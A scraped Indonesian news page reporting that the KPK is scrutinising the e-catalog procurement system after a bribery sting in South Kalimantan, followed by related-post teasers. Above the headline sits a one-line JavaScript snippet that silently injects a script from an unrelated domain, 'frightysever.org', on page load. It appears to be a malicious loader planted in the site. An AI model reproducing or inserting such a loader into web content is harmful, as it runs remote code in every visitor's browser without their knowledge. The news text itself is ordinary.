(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPK Soroti E-Katalog Pasca OTT di Kalsel


KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) menyoroti sistem e-katalog pasca operasi tangkap tangan (OTT) di Kalimantan Selatan (Kalsel). OTT ini diketahui merupakan dugaan suap terkait pengerjaan proyek di lingkungan Pemprov Kalsel.

Dari hasil OTT ini, KPK menetapkan tujuh orang sebagai tersangka, yakni Gubernur Kalsel Sahbirin Noor (SHB) alias Paman Birin, Kadis PUPR Kalsel Ahmad Solhan (SOL), Kabid Cipta Karya sekaligus PPK Yulianti Erlynah (YUL), ppengepul uang fee Ahmad (AMD), Plt Kepala Bagian Rumah Tangga Gubernur Kalsel Agustya Febry Andrean (FEB), swasta Sugeng Wahyudi (YUD), swasta Andi Susanto (AND).

Padahal di lain sisi, proyek yang diduga ada suap di baliknya sudah menggunakan sistem e-katalog. KPK memandang sistem tersebut kini justru menjadi penunjukan langsung.

“Faktanya kita cermati, e-katalog saat ini seperti kembali berubah menjadi penunjukan langsung secara elektronik,” kata Wakil Ketua KPK Nurul Ghufron, Rabu (9/10/2024).

Baca juga: Jadi Tersangka Belum Ditahan, Paman Birin Dicegah ke Luar Negeri

Ghufron menerangkan, penunjukan langsung seharusnya dapat dijalankan pada proyek yang nilainya di bawah Rp200 juta. Hanya saja, dia menyoroti fenomena saat ini yang ditemukan pihaknya.

“Jadi dulu ada Rp200 (juta) ke bawah PL, di atas itu bisa tender. Namun, dengan kemudian e-katalog, seakan-akan e-katalog ini adalah membubarkan leveling nilai, kembali saat ini menjadi seakan-akan e-katalog ya penunjukan langsung, cuma menggunakan media elektronik,” ujar Ghufron.

Ghufron mengungkapkan, KPK mencermati fenomena tersebut di sejumlah daerah lainnya. Dia pun memastikan pihaknya akan membahas bersama pihak terkait lainnya untuk melakukan evaluasi.

“Ini yang kita cermati dan ini di beberapa daerah, e-katalog berubah seperti ini semua, menjadi seakan-akan upaya pengadaan barang dan jasa melalui penunjukan tetapi semuanya dielektronik,” ungkap Ghufron.

Baca juga: Pemkab HSU Dorong Peningkatkan Kedisipinan dan Profesionalisme ASN

“Ini yang kita akan kemudian berdiskusi dan membahasnya bersama dengan LKPP untuk kemudian mengevaluasinya,” pungkasnya. (Kanalkalimantan/Beritasatu.com/kk)

Editor: kk


Risa

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

4 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

5 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

7 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

7 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

19 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

22 jam ago

This website uses cookies.